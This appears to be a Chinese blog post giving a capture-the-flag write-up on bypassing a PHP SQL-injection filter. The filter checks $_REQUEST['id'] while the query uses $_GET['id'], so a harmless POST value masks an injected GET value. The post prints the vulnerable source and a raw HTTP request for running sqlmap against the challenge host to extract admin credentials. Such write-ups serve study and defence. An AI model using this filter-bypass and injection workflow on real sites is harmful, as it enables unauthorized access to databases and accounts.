zoukankan      html  css  js  c++  java
  • php $_REQUEST写法防注入突破

    扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt

    有一个admin,但访问需要输入账号和密码。

    尝试访问: http://xxx.com/index.phps 。得到源代码如下:

    <?php
    require_once 'lib.php';
    header('X-XSS-Protection: 0');
    $cols = array(
        "e8c4-437b-9476",
        "849e-416e-acf7",
        "7f9d-470f-8698",
        "c8bb-4695-93f7",
        "5fbc-4729-8821",
        "3ad3-46c3-b975",
        "f44f-4cc9-a5e0",
        "0c3f-42c8-a0ae"
        );
    if(isset($_REQUEST['id'])){
        if(preg_match("/'(?:w*)W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
            die("Attack detected!!!");
        }
        $ad = get_ad($_GET['id']);
        ?>
        <HTML>
        <HEAD>
            <TITLE>NAUGHTY ADS ©1994</TITLE>
        </HEAD>
        <BODY BGCOLOR="WHITE">
            <CENTER>
            <?php echo $ad['description'] ?><br />
            <a href="/">Home</a>
            </CENTER>
        </BODY>
        </HTML>
        <?php
        die;
    }
    ?>
    

      

    对于 REQUEST[id]REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。

    这里考察了一个知识。$_REQUEST变量默认情况下包含了 GETGET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order


    其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

     

    所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

    将如下数据包保存为test.txt,用sqlmap跑:

    POST /?id=* HTTP/1.1
    Host: naughtyads.alieni.se
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 18
    id= 0c3f-42c8-a0ae
    

      

    得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:

  • 相关阅读:
    164 Maximum Gap 最大间距
    162 Find Peak Element 寻找峰值
    160 Intersection of Two Linked Lists 相交链表
    155 Min Stack 最小栈
    154 Find Minimum in Rotated Sorted Array II
    153 Find Minimum in Rotated Sorted Array 旋转数组的最小值
    152 Maximum Product Subarray 乘积最大子序列
    151 Reverse Words in a String 翻转字符串里的单词
    bzoj3994: [SDOI2015]约数个数和
    bzoj 4590: [Shoi2015]自动刷题机
  • 原文地址:https://www.cnblogs.com/qing123/p/7633251.html
Copyright © 2011-2022 走看看